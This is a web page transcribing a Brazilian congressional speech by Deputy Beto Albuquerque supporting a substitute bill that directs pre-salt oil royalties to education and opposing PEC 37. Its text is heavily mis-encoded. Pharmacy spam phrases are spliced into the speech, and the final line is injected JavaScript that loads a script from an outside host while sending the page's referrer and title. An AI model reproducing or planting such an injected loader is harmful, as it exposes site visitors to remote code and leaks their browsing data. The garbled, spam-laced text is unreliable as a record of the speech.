Pronunciamento sobre apoio do PSB Ai?? aprovaAi??A?o do substitutivo oferecido pelo Deputado AndrAi?? Figueiredo ao projeto de lei sobre a destinaAi??A?o de recursos de royalties de petrA?leo da camada prAi??-sal para a educaAi??A?o.

O SR. BETO ALBUQUERQUE cash price for crestor (PSB-RS. Como LAi??der. Sem revisA?o do orador.) – Sr. Presidente, distintos colegas Deputadas e Deputados – sejam todos bem-vindos aqueles que nos visitam nesta noite -, esta Ai?? uma matAi??ria que dialoga com o futuro do nosso PaAi??s. A sua intenAi??A?o Ai?? fundamental. E a iniciativa de trazer o debate sobre a alocaAi??A?o dos recursos dosAi??royalties do prAi??-sal para a educaAi??A?o foi extremamente importante.
Entretanto, nobres Deputados – e eu peAi??o a atenAi??A?o de V.Exas. -, o trabalho do Relator, Deputado AndrAi?? Figueiredo, do PDT, traz a esta matAi??ria aquilo que o projeto original, a nosso juAi??zo, nA?o tinha e que faria uma falta muito grande entre o propA?sito e a realidade. O projeto original do Governo – que, repito, teve A?tima boa vontade e bom propA?sito – propunha reverterAi??royalties do petrA?leo para a educaAi??A?o nos poAi??os prospectados a partir de 2012. Isso significava que a educaAi??A?o brasileira somente veria pingar os primeiros recursos daqui a 10 anos, otimistamente. Ora, senhores, a saA?de, a educaAi??A?o e a seguranAi??a sA?o temas urgentes. E a educaAi??A?o nA?o precisa de recursos para daqui a 10 anos. Precisa de recursos agora.

De forma que o trabalho do Relator AndrAi?? Figueiredo Ai?? muito importante. O substitutivo do Relator, ao qual o PSB votarA? favoravelmente, vai buscar os poAi??os que jA? foram prospectados, mas que ainda nA?o tenham tido a declaraAi??A?o de comercialidade. Isso significa que, dos poAi??os de 2000 e de 2001, assim que tiverem a declaraAi??A?o de comercialidade, passarA?o a ser dirigidos recursos para a educaAi??A?o.
Com este substitutivo, nA?s estamos falando em multiplicar por dez os valores estimados no projeto original. Estamos falando em 350 milhAi??es de reais e nA?o em 30 milhAi??es, porque estamos aproveitando aquilo que ainda nA?o estA? declarado comercial. Este substitutivo Ai?? muito importante. NA?s vamos apoiA?-lo, porque sua realidade Ai?? para agora. Quem votar contra o substitutivo vai apostar em dinheiro para daqui a 10 anos. Bem, 10 anos, a educaAi??A?o, que precisa melhorar jA?, nA?o pode esperar.

Para encerrar, Sr. Presidente, eu gostaria de dizer que a nossa bancada, a bancada do PSB, estA? 100% fechada em votar, de cabeAi??a erguida, contra a PEC nA? 37, para que possamos, de fato, legitimar esse assunto.
Votamos a favor do substitutivo que passa, agora, recursos do prAi??-sal para a educaAi??A?o e votamos contra a PEC 37.
Muito obrigado.Ai??(Palmas nas galerias.) buy generic fosamax pills online s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;